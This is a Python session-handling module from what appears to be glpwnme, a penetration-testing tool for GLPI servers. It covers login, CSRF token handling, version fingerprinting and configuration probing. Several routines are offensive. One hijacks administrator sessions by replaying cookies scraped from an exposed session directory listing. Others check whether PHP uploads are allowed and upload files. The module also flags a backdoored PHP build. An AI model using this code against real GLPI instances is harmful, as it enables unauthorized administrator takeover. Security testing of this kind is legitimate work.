import re
import html
import requests
from http import HTTPStatus
from packaging import version
from urllib.parse import urlparse
from glpwnme.exploits.privileges import Privs
from glpwnme.exploits.logger import Log
from glpwnme.exploits.utils.glpi_server_auth import AnyAuthSession
from glpwnme.exploits.exceptions import BadCredentialsException, MissingMFAException
from .glpi_utils import GlpiUtils, GlpiInfos, skip_check_when_version, LoginResult
from .glpi_static_files_version import GlpiStaticFilesVersion
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

class GlpiSession:
    """
    Class handling the needed value for interacting
    with glpi
    """
    def __init__(self, target, proxies=None, headers=None, credentials=None, debug_request=False):
        self.sess = AnyAuthSession(credentials.server_user, credentials.server_password)
        self.profiles = []
        self.target = GlpiUtils.parse_target(target)
        if proxies is not None:
            self.sess.proxies = {"http": proxies, "https": proxies}

        if headers is not None:
            self.sess.headers.update(headers)
        self.sess.headers.update({"Accept-Language": "en_GB"})

        self.credentials = None
        if credentials is not None:
            self.credentials = credentials

        self.login_infos = {"after_login_url": None, "after_login_response": None}

        self.privilege = Privs["Unauthenticated"]
        self.glpi_infos = GlpiInfos()

        self.current_url = self.target
        self.skip_check = False

        self.sess.hooks['response'].append(self.custom_hook)
        self.debug_request = debug_request
        self.csrf_token = ""

    def custom_hook(self, r, *args, **kwargs):
        """
        Set the current url at each request to keep track of it
        It also avoid to do a get requests each time you need to know where you are

        Also set the nearest version of glpi that was found
        which can be checked given the cookie's length

        :param r: The response to the request
        :type r: class:`Response`
        """
        self.current_url = r.url

        if self.debug_request:
            Log.log(f"DEBUG REQUEST")
            Log.print(f"[cyan]{r.request.method}[/cyan] {r.url}")
            for hname, hval in r.request.headers.items():
                Log.print(f"[b]{hname}:[/b] {hval}")
            if r.request.body:
                print()
                print(r.request.body)
            Log.log(f"Got response HTTP/{r.status_code}")
            print()

        # First, shall we rotate CSRF token
        if r.request.body:
            body = r.request.body.decode(errors="ignore") if isinstance(r.request.body, bytes) else r.request.body
            if "_glpi_csrf_token=" in body or r.request.headers.get("X-Glpi-Csrf-Token") is not None:
                # CSRF token has been consumed by the request
                self.csrf_token = ""
                if r.status_code == HTTPStatus.OK:
                    # Newly available csrf token shall be in the response
                    self.csrf_token = GlpiUtils.extract_csrf(r.content)

        # If nearest version is not defined
        if self.glpi_infos.glpi_nearest_version is None:
            if r.headers.get("Set-Cookie"):
                self.get_nearest_glpi_version_from_cookie(r.headers.get("Set-Cookie"))

            if r.request.headers.get("Cookie"):
                if self.glpi_infos.glpi_nearest_version is None:
                    self.get_nearest_glpi_version_from_cookie(r.request.headers.get("Cookie"))

        # If no plugins has been found, then initialized them
        if(self.glpi_infos.plugins is None and r.status_code == HTTPStatus.OK):
            self.glpi_infos.plugins = GlpiUtils.extract_plugins(r.text)

    def get_nearest_glpi_version_from_cookie(self, cookie_string):
        """
        Get the nearest cookie version from glpi cookie's length
        """
        for cookie_key_val in map(lambda x: x.split('='), cookie_string.split(";")):
            if len(cookie_key_val) == 2:
                cookie_name = cookie_key_val[0].strip()
                if(cookie_name.startswith("glpi_") and not cookie_name.endswith("rememberme")):
                    if len(cookie_name) == 128 + len("glpi_"):
                        self.glpi_infos.glpi_nearest_version = "11.0"
                        break
                    if len(cookie_name) == 32 + len("glpi_"):
                        self.glpi_infos.glpi_nearest_version = "10.0"
                        break

    def init_session(self):
        """
        Init the current instance by trying to recover
        some informations.

        If credentials are provided try to use them
        """
        try:
            if(self.credentials.username or self.credentials.token):
                login_status = self.login_with_credentials(cookie_allowed=False)
                if login_status:
                    self._set_infos(GlpiUtils.extract_version_from_html(self.login_infos["after_login_response"].text))
                    self.profiles = GlpiUtils.extract_user_profiles(self.login_infos["after_login_response"].text)

                else:
                    raise BadCredentialsException("The credentials provided are not valid")

        except BadCredentialsException as e:
            Log.err(e)
            Log.err("Maybe you forgot the [i]--auth[/i] option ?")
            exit(0)

        except Exception as e:
            Log.err(e)
            Log.err("Use the [i]--no-init[/i] option if the error persist")
            exit(0)

        self.get_php_version()
        self.get_version()
        self.get_root_dir()
        self.get_api_status()
        self.get_inventory_status()
        self.get_password_forget_enable()
        self.check_session_dir_listing()
        self._check_glpi_config()
        self.show_infos()

        if self.login_infos.get("after_login_url"):
            self.logout()

    def check_session_dir_listing(self):
        """
        Check if session dir listing is enable, and user can recover session.
        This behavior is not default and shall be reported, it might
        happen when the .htaccess has been removed during installed,
        or not copied when upgrading with existing datas.

        I see this sometime :D
        """
        res = self.get("/files/_sessions/", allow_redirects=False)
        if(res.status_code == HTTPStatus.OK
           and '<title>Index of' in res.text):
            self.glpi_infos.session_dir_listing = True
        else:
            self.glpi_infos.session_dir_listing = False

    def find_admin_user_from_dir_listing(self):
        """
        Find an Administrator session from the dir listing page

        :return: The session cookie to use for being administrator
        :rtype: str
        """
        RE_SESSION = re.compile(r'sess_([a-zA-Z0-9]+)')
        ADMIN_URL = "/front/auth.settings.php"

        res = self.get("/files/_sessions/?C=S;O=D", allow_redirects=False)
        cookies = self.get_login_cookie()
        if not cookies:
            self.get("/index.php")
            cookies = self.get_login_cookie()
            if not cookies:
                return None

        cookie_name = cookies[0].split("=")[0]
        for cookie_val in set(re.findall(RE_SESSION, res.text)):
            self.set_login_cookie(f"{cookie_name}={cookie_val}")

            is_admin = self.sess.get(self.r(ADMIN_URL), allow_redirects=False)
            if(is_admin.status_code != HTTPStatus.FOUND
                and not GlpiUtils.is_access_denied(is_admin.text)):
                return cookie_val
        return None

    def is_extension_allowed(self, extension="php"):
        """
        Recover if an extension is available on the remote target

        :return: Whether or not the extension is available
        :rtype: Bool
        """
        url = f"/front/documenttype.php?as_map=0&browse=0&criteria[0][link]=AND&criteria[0][field]=3&criteria[0][searchtype]=equals&criteria[0][value]={extension}&search=&itemtype=DocumentType"
        res = self.get(url)
        table = GlpiUtils.extract_table(res.content)
        if not table.get("Extension"):
            return False

        if(table.get('Authorized upload', [])[0].strip().lower() == "yes"
            and table.get('Extension', [])[0].strip().lower() == "php"):
            return True
        return False

    def get_inventory_status(self):
        """
        Check whether or not the inventory is enable on the target
        """
        res = self.get("/front/inventory.php")
        if(res.status_code == HTTPStatus.NOT_FOUND
           or "Inventory is disabled" in res.text):
            self.glpi_infos.inventory_status = False
        else:
            self.glpi_infos.inventory_status = True

    def _hook_password_forget_config(self, response):
        """
        Check password forget config if not already checked
        """
        if self.glpi_infos.password_forget_enable is None:
            if(response.status_code == HTTPStatus.OK
               and "/front/lostpassword.php" in response.text):
                self.glpi_infos.password_forget_enable = True
            else:
                self.glpi_infos.password_forget_enable = False

    def get_password_forget_enable(self):
        """
        Check whether or not the password forget feature is enable or not
        """
        if self.glpi_infos.password_forget_enable is None:
            self._hook_password_forget_config(self.get("/"))

    def get_redirect_message(self):
        """
        Return the redirect message

        :return: The message for redirect
        :rtype: List[str]
        """
        res = self.get("/ajax/displayMessageAfterRedirect.php", allow_redirects=False)
        return GlpiUtils.extract_redirect_message(res.text)

    def get_api_status(self):
        """
        Recover the API status of the target instance

        GLPI before 0.90.5 was not existing,
             before 9.2.3 send "Access Denied" on apirest request,
             by now it send a HTTP/400 Error.
        """
        res = self.get("/apirest.php")
        if res.status_code != HTTPStatus.BAD_REQUEST:
            if GlpiUtils.is_access_denied(res.content):
                Log.msg(f"GLPI version is < 9.2.3")

            elif res.status_code == HTTPStatus.NOT_FOUND:
                Log.msg("GLPI version is <= 0.90.5 (really old) or [u red]maybe the target is not a GLPI[/u red]")

            else:
                self.glpi_infos.api_status = True

    def _get_url(self, url):
        """
        Get the full url from the argument

        :return: The full url to the route
        :rtype: str
        """
        if self.target in url:
            return url
        return self.r(url)

    def refresh_csrf_token(self):
        """
        Refresh the CSRF token for post usage
        """
        if not self.csrf_token:
            if self.login_infos.get("after_login_url"):
                res = self.get(self.login_infos["after_login_url"])
            else:
                res = self.get("/")
            self.csrf_token = GlpiUtils.extract_csrf(res.content)

    def get(self, url, **kwargs):
        """
        Shortcut for session.get
        """
        url = self._get_url(url)
        return self.sess.get(url, verify=False, **kwargs)

    def logout(self):
        """
        Logout from the current session
        """
        self.get("/front/logout.php?noAUTO=1")
        self.login_infos["after_login_url"] = None
        self.login_infos["after_login_response"] = None

        # For a real logout we really need to clear the glpi cookie in the session
        # However we will keep other cookies such as the remember me, so the login
        # can be done through cookies or header
        for name, value in self.sess.cookies.get_dict().items():
            if re.match(r"^glpi_[a-f0-9]+$", name):
                del self.sess.cookies[name]

    def post(self, url, **kwargs):
        """
        Shortcut for session.post
        It will also automatically add the CSRF token for the requests
        """
        url = self._get_url(url)
        self.refresh_csrf_token()
        if("data" in kwargs.keys()
           and "_glpi_csrf_token" not in kwargs["data"]
           and isinstance(kwargs["data"], dict)):
            kwargs["data"]["_glpi_csrf_token"] = self.csrf_token

        path = urlparse(url).path.lower()
        if(path.find("/ajax/") != -1 or path.find("/genericajaxcrud") != -1):
            # Ajax requests use the csrf token inside a header
            if "headers" in kwargs.keys():
                kwargs["headers"]["X-Glpi-Csrf-Token"] = self.csrf_token
            else:
                kwargs["headers"] = {"X-Glpi-Csrf-Token": self.csrf_token}
            # Set header to an Ajax call
            kwargs["headers"]["X-Requested-With"] = "XMLHttpRequest"

        return self.sess.post(url, verify=False, **kwargs)

    def r(self, route):
        """
        Function to build a route quickly

        :param route: The route to add to the target url
        :type route: str

        :return: The full url to the route
        :rtype: str
        """
        return self.target + '/' + route.lstrip("/")

    @skip_check_when_version("<", "10.0.7") # ProxyRouter appears on this version
    @skip_check_when_version(">=", "10.0.18") # You can no longer upload ".php" files
    def _check_glpi_config(self):
        """
        Check if the config of the GLPI Instance is safe.
        If no result is shown, it does not mean AT ALL that the config is safe
        """
        if self.glpi_infos.is_config_safe is None:
            # New check based on the comportment of the ProxyRouter class
            res = self.get("/plugins/test/idontexists.xml", allow_redirects=False)
            if res.status_code == HTTPStatus.FORBIDDEN:
                self.glpi_infos.is_config_safe = True
            else:
                self.glpi_infos.is_config_safe = False

    def get_privilege(self):
        """
        Recover the privilege of the current glpi session
        """
        self.privilege = ""

    def get_php_version(self):
        """
        Return the php version if found
        Also checks silently for the php backdoored version

        :return: None
        """
        if self.glpi_infos.php_version is None:
            if self.login_infos.get("after_login_response"):
                self._set_infos(GlpiUtils.extract_php_version(self.login_infos["after_login_response"].headers))
            else:
                self._set_infos(GlpiUtils.extract_php_version(self.get("/").headers))

        if self.glpi_infos.php_version == "8.1.0-dev":
            Log.msg(":skull: [bold]PHP Backdoor[/bold] seems available on remote target")

    def get_version(self):
        """
        Recover the current glpi version from the target and
        set it locally

        :return: None
        """
        if self.glpi_infos.glpi_version is None:
            self._get_version_with_map()

        if self.glpi_infos.glpi_version is None:
            self._get_version_with_telemetry()

        if self.glpi_infos.glpi_version is None:
            self._get_version_from_copyright()

        if self.glpi_infos.glpi_version is None:
            self._find_version_from_static()

        if self.glpi_infos.glpi_version is None:
            if not self.glpi_infos.root_dir:
                self.get_root_dir()

            if self.glpi_infos.root_dir:
                self._try_guess_version(self.glpi_infos.root_dir)

        if self.glpi_infos.glpi_version is None:
            Log.log(":warning-emoji: Could not identify GLPI version, "
                    "[b]using an approximate version[/b]")
            if self.glpi_infos.glpi_nearest_version:
                Log.log(f"Using approximate version: {self.glpi_infos.glpi_nearest_version}")
                self.glpi_infos.glpi_version = self.glpi_infos.glpi_nearest_version

    def _find_version_given_dict(self, version_dict):
        """
        Find the version associated to a dict
        """
        for version, files_hash in version_dict.items():
            is_version_valid = False
            for file, expected in files_hash.items():
                res = self.get(file, allow_redirects=False)
                if not GlpiStaticFilesVersion.is_result_valid(version, file, res):
                    is_version_valid = False
                    break
                is_version_valid = True

            if is_version_valid:
                return version

    def _find_version_from_static(self):
        """
        Try to recover the target version from file hashes
        """
        major_version = self._find_version_given_dict(GlpiStaticFilesVersion.get_major())
        if major_version:
            minor_version = self._find_version_given_dict(GlpiStaticFilesVersion.get_minor_from_major(major_version))
            if minor_version:
                self.glpi_infos.glpi_version = minor_version

    def get_root_dir(self):
        """
        Try to guess the glpi root dir
        """
        if not self.glpi_infos.root_dir:
            cookies = self.sess.cookies.get_dict()
            if not cookies:
                self.get("/index.php")
                cookies = self.sess.cookies.get_dict()

            md5_hash = GlpiUtils.get_md5(cookies)
            sha512_hash = GlpiUtils.get_sha512(cookies)
            final_hash = md5_hash if md5_hash else sha512_hash
            if final_hash:
                self.glpi_infos.root_dir = GlpiUtils.guess_glpi_root_dir(final_hash, self.target)
                if self.glpi_infos.root_dir:
                    if self.glpi_infos.root_dir.find(':\\') != -1:
                        self.glpi_infos.os_used = "Windows"
                    else:
                        self.glpi_infos.os_used = "Unix"

    def _get_version_from_copyright(self):
        """
        Try to get the glpi version from the copyright if present
        """
        res = self.get("/index.php")
        self._set_infos(GlpiUtils.extract_version_from_html(res.text))

    def _set_infos(self, infos):
        """
        Set the infos without overriding the infos already set

        :param infos: The glpi infos dataclass
        :type infos: class:`GlpiInfos`
        """
        if(self.glpi_infos.glpi_version is None and infos.glpi_version is not None):
            self.glpi_infos.glpi_version = infos.glpi_version

        if(self.glpi_infos.php_version is None and infos.php_version is not None):
            self.glpi_infos.php_version = infos.php_version

        if(self.glpi_infos.os_used is None and infos.os_used is not None):
            self.glpi_infos.os_used = infos.os_used

    def show_infos(self):
        """
        Show the infos found
        """
        if self.glpi_infos.glpi_version:
            Log.msg(f"Version of glpi found: {self.glpi_infos.glpi_version}")

        if self.glpi_infos.is_config_safe == False:
            Log.msg(f"GLPI configuration is [b red]not safe[/] :skull:, "
                    "In some cases you can achieve [b red]Code Execution[/] as SuperAdmin")

        if self.glpi_infos.php_version:
            Log.msg(f"Version of php found: {self.glpi_infos.php_version}")

        if self.glpi_infos.os_used:
            Log.msg(f"Operating system found: [blue]{self.glpi_infos.os_used}[/blue]")

        if self.glpi_infos.root_dir:
            Log.msg(f"GLPI root dir found: [blue]{self.glpi_infos.root_dir}[/blue]")

        if self.glpi_infos.api_status:
            Log.msg(f"GLPI API is [green]enable[/green]")
        else:
            Log.msg(f"GLPI API is [red]disable[/red]")

        if self.glpi_infos.password_forget_enable:
            Log.msg(f"GLPI password forget is [green]enable[/green]")
        else:
            Log.msg(f"GLPI password forget is [red]disable[/red]")

        if self.glpi_infos.inventory_status:
            Log.msg("Inventory is [green]enable[/]")
        else:
            Log.msg("Inventory is [red]disable[/]")

        if self.glpi_infos.session_dir_listing:
            Log.msg(f"Wowowowowow !!! :skull: [b white on red]GLPI sessions are listed[/]"
                    f" [link={self._get_url('/files/_sessions')}]here[/link]")
            Log.msg(self._get_url('/files/_sessions'))

        if self.profiles:
            Log.msg(f"[b]Profiles[/b] of current user: [blue]{', '.join(self.profiles)}[/blue]")

        if self.glpi_infos.plugins:
            rich_plugin_display = ""
            for i, plugin in enumerate(self.glpi_infos.plugins):
                rich_plugin_display += f"[blue]{plugin}[/blue]"
                if i < len(self.glpi_infos.plugins) - 1:
                    rich_plugin_display += ", "
            Log.msg(f"Plugins in used: {rich_plugin_display}")

    @skip_check_when_version(">=", "11.0") # From this version glpi no longer disclose its version number
    def _get_version_with_map(self):
        """
        Recover the current glpi version
        """
        for js_files in ("/public/lib/photoswipe.js.map", "/public/lib/cytoscape.js.map"):
            res = self.sess.get(self.r(js_files), verify=False, allow_redirects=False)
            if res.status_code == HTTPStatus.OK:
                self._set_infos(GlpiUtils.extract_version_from_map(res.content))

            if self.glpi_infos.glpi_version is not None:
                break

    @skip_check_when_version(">", "9.5.5")
    def _get_version_with_telemetry(self):
        """
        Recover the version of glpi with the telemetry
        This endpoint also recover the system information that might
        be needed
        """
        res = self.get("/ajax/telemetry.php", allow_redirects=False)
        if res.status_code == HTTPStatus.OK:
            self._set_infos(GlpiUtils.extract_infos_from_telemetry(res.text))

    def _try_guess_version(self, root_dir):
        """
        Try to guess the version from the signature in the DOM

        Both glpi 10 and glpi 11 creates hash using sha1
        """
        res = self.get("/index.php")
        sha1_hash = GlpiUtils.extract_sha1_hash(res.content)
        if len(sha1_hash) == 40:
            version = GlpiUtils.guess_glpi_version(sha1_hash, root_dir, self.current_url)
            if not version:
                Log.err(f"Failed to guess glpi version...")
            else:
                self.glpi_infos.glpi_version = version
        else:
            self.glpi_infos.glpi_version = sha1_hash

    def get_login_cookie(self):
        """
        Return the cookie neccessary for login to glpi instance

        :return: The cookies for glpi
        :rtype: List[str]
        """
        glpi_cookies = []
        for name, value in self.sess.cookies.get_dict().items():
            if name.startswith("glpi_"):
                glpi_cookies.append(f"{name}={value}")
        return glpi_cookies

    def set_login_cookie(self, val):
        """
        Set the cookie to login to the desired value

        :param val: The new value of the glpi cookie
        :type val: str
        """
        for name, value in self.sess.cookies.get_dict().items():
            if re.match(r"^glpi_[a-f0-9]+$", name):
                # self.sess.cookies.set(name, None)
                del self.sess.cookies[name]
                # self.sess.cookies.set(name, val)
                break

        for cookie in val.strip(";").split(";"):
            cookie_name, cookie_val = cookie.split("=", 1)[0].strip(), cookie.split("=", 1)[1].strip()
            self.sess.cookies.set(cookie_name, cookie_val)

    def get_username(self):
        """
        Recover the current username of the session
        """
        user = {"name": None, "id": None}
        res = self.get("/ajax/common.tabs.php?_target=/front/preference.php&_itemtype=Preference&_glpi_tab=User")
        soup = BeautifulSoup(res.text, "html.parser")
        items = soup.findAll("input", attrs={"type":"hidden"})

        username = soup.find("input", attrs={"type":"hidden", "name": "name"})
        user["name"] = GlpiUtils.extract_attr(username, "value")

        user_id = soup.find("input", attrs={"type":"hidden", "name": "id"})
        user["id"] = GlpiUtils.extract_attr(user_id, "value")
        return user

    def get_user_data(self):
        """
        Recover the user data

        :return: The user's data
        :rtype: class:`Response`
        """
        return self.get("/ajax/common.tabs.php?_target=/front/preference.php&_itemtype=Preference&_glpi_tab=User")

    def has_login_header(self):
        """
        Check if creadentials are given through headers
        
        :return: Whether or not headers contains login infos
        :rtype: Bool
        """
        return self.sess.headers.get("Authorization") is not None

    def _has_logged_in(self, url_after_login):
        """
        Check whether or not you are logged in

        :param url_after_login: The url redirected to after a post to /front/login.php
        :type url_after_login: str

        :rtype: bool
        """
        if not url_after_login:
            # Not redirected, then not logged in
            return LoginResult.FAILED

        url_after_login = urlparse(url_after_login)

        # Now that we know to which url we have been redirected to
        # we can operate on it
        if(("/index.php" in url_after_login.path or url_after_login.path.strip("/") == "")
            and "error" in url_after_login.query):
            # login.php could redirect to /index.php?error=[12]
            # or /?error=[12]
            return LoginResult.FAILED
        if "/front/login.php" in url_after_login.path:
            # If we are on /front/login.php then not logged in
            return LoginResult.FAILED
        if "/MFA/" in url_after_login.path:
            # Special case where login requires MFA
            return LoginResult.MFA_REQUIRED
        return LoginResult.SUCCESS

    def _mfa_login(self, code):
        """
        Currently in /MFA/Prompt, sending totp
        code to server for authentication

        :return: True if mfa authentication succeed, False otherwise
        :rtype: bool
        """
        result = self.post("/MFA/Verify", data={"totp_code": code})
        if result.status_code in (HTTPStatus.BAD_REQUEST, HTTPStatus.UNAUTHORIZED):
            return False
        current_url = urlparse(result.url)
        current_path = current_url.path.lower()
        if not("/mfa/verify" in current_path
               or "/index.php" in current_path # index.php too
               or "/front/login.php" in current_path # Not login.php
               or current_path.strip("/") == ""): # index.php
            self.login_infos["after_login_response"] = result
            self.login_infos["after_login_url"] = self.current_url
            return True
        return False

    def check_logged_in(self):
        """
        Automatically check that we are logged in by
        making a request to /index.php

        :return: Whether or not the current session is authenticated
        :rtype: bool
        """
        return GlpiUtils.extract_redirect(self.get("/index.php", allow_redirects=False)) != ""

    def login_with_credentials(self, cookie_allowed=True):
        """
        Login with the credentials provided at the initialisation

        :raises ValueError: If no credentials has been provided

        :return: The boolean if login failed or not
        :rtype: bool
        """
        if self.credentials:
            if self.credentials.username and self.credentials.password:
                other = {}
                if self.credentials.auth is not None:
                    other["auth"] = self.credentials.auth
                login_result = self.login(self.credentials.username, self.credentials.password, profile=self.credentials.profile, others=other, no_auto=True)
                if login_result == LoginResult.MFA_REQUIRED:
                    if self.credentials.otp is None:
                        raise MissingMFAException("MFA is required, use [cyan]--otp[/cyan] to login")
                    if not self._mfa_login(self.credentials.otp):
                        raise BadCredentialsException("Invalid otp code")
                    return True
                return login_result == LoginResult.SUCCESS

            elif self.credentials.token:
                return self.login("", "", profile=self.credentials.profile, others={"user_token": self.credentials.token}, no_auto=False) == LoginResult.SUCCESS

            elif(cookie_allowed and self.credentials.cookie):
                self.set_login_cookie(self.credentials.cookie)
                if self.credentials.profile:
                    self.change_profile(self.credentials.profile)
                return self.check_logged_in()

        if self.has_login_header():
            return self.check_logged_in()

        if self.credentials.server_user or self.credentials.server_password:
            # Case when mod_auth_<something> is used in front of glpi, and
            # GLPI used for instance $_SERVER["REMOTE_USER"]
            return self.check_logged_in()

        if self.skip_check:
            # Little bypass to run exploits when manually
            # getting the cookie
            return True

        raise ValueError("Credentials are missing for login")

    def get_fresh_session_copy(self):
        """
        Return an empty session object ready to use, with the same parameters
        as asked

        :return: The new session initialized with the same attributes
        :rtype: class:`AnyAuthSession`
        """
        new_session = AnyAuthSession(self.credentials.server_user, self.credentials.server_password)
        new_session.proxies = self.sess.proxies.copy()
        new_session.headers = self.sess.headers.copy()
        new_session.auth = self.sess.auth

        return new_session

    def extract_glpi_var(self, var_name):
        """
        Extract a glpi variable from the config page

        :param var_name: The name of the variable to extract
        :type var_name: str

        :return: The value of the variable
        :rtype: str
        """
        res = self.get("/ajax/common.tabs.php?_target=/front/config.form.php&_itemtype=Config&_glpi_tab=Config$5&id=1")
        glpi_tmp_dir_re = re.compile(fr'{var_name}: ("?)(.*)(\1)')
        html_text = html.unescape(res.text)
        matches = re.findall(glpi_tmp_dir_re, html_text)
        if(matches and len(matches[0]) == 3):
            return matches[0][1]

    def upload_file(self, filename, file_content):
        """
        Upload a file on the target

        :param filename: The name of the file to upload
        :type filename: str

        :param file_content: The content of the file
        :type file_content: Union[str, bytes]

        :return: The url path to the file
        :rtype: str
        """
        file_data = {
                "name": (None, "_uploader_picture"),
                "_uploader_picture[]": (filename, file_content)
            }

        res = self.post("/ajax/fileupload.php", files=file_data)
        json_res = res.json()
        upload_res = json_res["_uploader_picture"][0]
        return upload_res

    def delete_file(self, filename):
        """
        Remove a file previously uploaded

        :param filename: The filename to delete
        :type filename: str

        :return: True if the file was deleted, False otherwise
        :rtype: bool
        """
        file_data = {
                "name": (None, "_uploader_picture"),
                "_uploader_picture[]": (filename, "")
            }
        res = self.post(f"/ajax/fileupload.php?_method=DELETE&_uploader_picture[]={filename}", data={"name": "_uploader_picture"})
        try:
            json_res = res.json()[filename]
            if json_res:
                return True
        except Exception as e:
            Log.err(e)
        return False

    def change_profile(self, profile):
        """
        Change the profile to use

        :param profile: The profile to use
        :type profile: Union[int str]
        """
        if not profile:
            return None

        if not profile.isdigit():
            profile_name = profile.replace("-", "").capitalize()
            profile = Privs[profile_name].value

        self.post("/front/helpdesk.public.php", data={"newprofile": profile})

    def login(self, username, password, profile=None, others=None, verbose=True, no_auto=False):
        """
        Login on glpi, this functions will always check for login

        :param username: The username
        :type username: str

        :param password: The password
        :type password: str

        :param others: Other infos to login if needed
        :type others: dict

        :param no_auto: Whether or not to use auto login (cookie, api_token, ...)
        :type no_auto: bool

        :return: Enum Success, Failure or Mfa required
        :rtype: class:`LoginResult`
        """
        no_auto_query = ""
        if no_auto:
            no_auto_query = "?noAUTO=1"
        login_html = self.get("/index.php?noAUTO=1")

        self._hook_password_forget_config(login_html)

        fields = GlpiUtils.extract_login_field(login_html.content)
        csrf_token = GlpiUtils.extract_csrf(login_html.content)

        post_data = {fields["login"]: username,
                     fields["password"]: password,
                     "_glpi_csrf_token": csrf_token}

        if others:
            post_data = {**post_data, **others}

            if(others.get("auth") and verbose):
                auth_used = others.get("auth")
                all_auths = GlpiUtils.extract_auth(login_html.text)
                all_auths.append("cookie")

                if(all_auths and not auth_used in all_auths):
                    Log.err(f"The auth parameter [gold3]{auth_used}[/] seems invalid"
                            f", maybe use one of the following\n\t- [b]{', '.join(all_auths)}[/]")

        res = self.sess.post(self.r(f"/front/login.php{no_auto_query}"), data=post_data, verify=False, allow_redirects=False)
        redirect_url = GlpiUtils.extract_redirect(res)
        login_result = self._has_logged_in(redirect_url)
        if login_result == LoginResult.SUCCESS:
            res = self.get(redirect_url)
            self.privilege = Privs["User"] # TODO: improve the priv setup
            if profile:
                self.change_profile(profile)
            self.login_infos["after_login_response"] = res
            self.login_infos["after_login_url"] = self.current_url
            return login_result
        return login_result
